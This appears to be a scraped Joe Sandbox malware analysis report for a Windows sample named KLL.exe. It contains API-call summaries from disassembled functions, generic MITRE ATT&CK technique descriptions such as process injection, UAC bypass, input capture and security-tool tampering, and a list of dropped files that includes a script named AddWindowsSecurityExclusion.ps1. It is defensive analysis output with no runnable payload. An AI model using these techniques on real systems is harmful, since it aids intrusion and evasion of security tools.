ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00B37A34

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: CountCriticalDebugDebuggerErrorInitializeLastOutputPresentSectionSpinStringmemset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 1128651283-631824599
Opcode ID: 56ad60d586882ba09db8edbf505c4d5ebe04e593b0e0cce39cc0e0584a64d521
Instruction ID: 2a7e257b1212674fc0720e0f3c41e85680ca52f0be7e87492e97a7ec22ba764a
Opcode Fuzzy Hash: 56ad60d586882ba09db8edbf505c4d5ebe04e593b0e0cce39cc0e0584a64d521
Instruction Fuzzy Hash: 63E06DB02443008FD3349F28E51434A7AE4EF10300F30889CE485C3240EFB5DA84CBA2

Function 6D022844 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 6D022850

Part of subcall function 6D0227B9: std::exception::exception.LIBCONCRT ref: 6D0227C6

__CxxThrowException@8.LIBVCRUNTIME ref: 6D02285E

Part of subcall function 6D026276: RaiseException.KERNEL32(?,?,?,00000001,00000000,?,00000000), ref: 6D0262D5

Strings

Unknown exception, xrefs: 6D02286B

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowstd::exception::exceptionstd::invalid_argument::invalid_argument
String ID: Unknown exception
API String ID: 1586462112-410509341
Opcode ID: 8d08c44bfadb69b0e8442662dc87f71450dfd051d058569e8fb14062663d7397
Instruction ID: a24354c5bec3392b22cd8ad3bd063005aa4edfb912ba2d788ec5ae00f3745df3
Opcode Fuzzy Hash: 8d08c44bfadb69b0e8442662dc87f71450dfd051d058569e8fb14062663d7397
Instruction Fuzzy Hash: 55D0A738D0510C77EB10DBF5C840F5DB77C5F00208BE08064EA14C7044EB30E6068AC1

Function 6CEEE867 Relevance: 5.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6D1272D0,6D1272B4,00000000,6D1272D0), ref: 6CEEE8E1
LeaveCriticalSection.KERNEL32(6D1272D0,?), ref: 6CEEE8F4
LocalFree.KERNEL32(00000000), ref: 6CEEE8FD
TlsSetValue.KERNEL32(?,00000000), ref: 6CEEE918

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: CriticalSection$EnterFreeLeaveLocalValue
String ID:
API String ID: 2949335588-0
Opcode ID: ab023b173eb06c664aff26766fbb85bedc2b517370443beff9d29345eebd7252
Instruction ID: ec8178b9e009016bfe602461768c2076ca5d2fcbd72f2473ac389054ab788031
Opcode Fuzzy Hash: ab023b173eb06c664aff26766fbb85bedc2b517370443beff9d29345eebd7252
Instruction Fuzzy Hash: BD218C31E00A09EFCB00DF68C881A99BBB5FF49354F2481A9E9159B7A0DB31E911CF95

Function 6CEEEC34 Relevance: 5.1, APIs: 4, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000000,00000000), ref: 6CEEEC6E
LeaveCriticalSection.KERNEL32(?), ref: 6CEEEC97

Part of subcall function 6CEEFBBF: __CxxThrowException@8.LIBVCRUNTIME ref: 6CEEFBD3

TlsSetValue.KERNEL32(?,?,?,00000000), ref: 6CEEECC7
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,6CEEF0C9,6CEEC806,6CEEF0F2,6CEEF81F,6CEE9FCD,00000001,00000000,?,6D021AA6,?,00000001), ref: 6CEEECFE

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: CriticalLeaveSection$AllocException@8LocalThrowValue
String ID:
API String ID: 4202424549-0
Opcode ID: f2de7c915bf7288343754712071aca18bfadc52d173aef5846550ffbcf4fdfc5
Instruction ID: 3851073b22e684b169219242a803a2a3c3919b8b57e33d6aa4abd8684668b3cd
Opcode Fuzzy Hash: f2de7c915bf7288343754712071aca18bfadc52d173aef5846550ffbcf4fdfc5
Instruction Fuzzy Hash: 9E21AC70500A06AFC728DF69D98595AFBB5FF493A4720C61DE86A87B60DB30E810CF90

Function 6CEEEC0A Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000000,00000000), ref: 6CEEEC6E
LeaveCriticalSection.KERNEL32(?), ref: 6CEEEC97

Part of subcall function 6CEEFBBF: __CxxThrowException@8.LIBVCRUNTIME ref: 6CEEFBD3

TlsSetValue.KERNEL32(?,?,?,00000000), ref: 6CEEECC7
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,6CEEF0C9,6CEEC806,6CEEF0F2,6CEEF81F,6CEE9FCD,00000001,00000000,?,6D021AA6,?,00000001), ref: 6CEEECFE

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: CriticalLeaveSection$AllocException@8LocalThrowValue
String ID:
API String ID: 4202424549-0
Opcode ID: 27817a5eeb7bbc2668b1b4c2bbb9da31a99b5853774c8fb37b0546ae9bd1b08d
Instruction ID: a5c2358cfeaadf3e372d3eb25b5615b8f6193e59dbcd6ca1ed3f643c73d001e1
Opcode Fuzzy Hash: 27817a5eeb7bbc2668b1b4c2bbb9da31a99b5853774c8fb37b0546ae9bd1b08d
Instruction Fuzzy Hash: 02117C70500A46EFDB18DF69C885E1AB7B5FF09398B30C529E82597B20DB31E850CF90

Function 6CEEEB0F Relevance: 5.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6D1272D0,00000001,?,?,?,6CEEEAB1,?,00000004,6CEEF0C9,6CEEC806,6CEEF0F2,6CEEF81F,6CEE9FCD,00000001,00000000), ref: 6CEEEB1B
TlsGetValue.KERNEL32(6D1272B4,?,?,?,6CEEEAB1,?,00000004,6CEEF0C9,6CEEC806,6CEEF0F2,6CEEF81F,6CEE9FCD,00000001,00000000,?,6D021AA6), ref: 6CEEEB2F
LeaveCriticalSection.KERNEL32(6D1272D0,?,?,?,6CEEEAB1,?,00000004,6CEEF0C9,6CEEC806,6CEEF0F2,6CEEF81F,6CEE9FCD,00000001,00000000,?,6D021AA6), ref: 6CEEEB49
LeaveCriticalSection.KERNEL32(6D1272D0,?,?,?,6CEEEAB1,?,00000004,6CEEF0C9,6CEEC806,6CEEF0F2,6CEEF81F,6CEE9FCD,00000001,00000000,?,6D021AA6), ref: 6CEEEB54

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: 683e5d80f963835fc98de427673fe6e27e096f2d646da5ad13427b5f13d8f6f9
Instruction ID: 554e746d8616d7139bfe550befeda3c51b9da013ab5cbcf6977cdfdeca2e6bff
Opcode Fuzzy Hash: 683e5d80f963835fc98de427673fe6e27e096f2d646da5ad13427b5f13d8f6f9
Instruction Fuzzy Hash: ECF02432604910AFCF20AF18C888A2AB779FF4E7943118058EC16EB754C730E80ACAE0

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Driver: Driver Load, File: File Creation, File: File Modification, Module: Module Load
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report KLL.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1

C:\Program Files (x86)\letsvpn\LetsPRO.exe

C:\Program Files (x86)\letsvpn\Update.exe

C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dll

C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.MsDelta.dll

C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.PatchApi.dll

C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.dll

C:\Program Files (x86)\letsvpn\app-3.7.0\FontAwesome.WPF.dll

C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dll

C:\Program Files (x86)\letsvpn\app-3.7.0\ICSharpCode.AvalonEdit.dll

C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Windows Analysis Report
KLL.exe

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre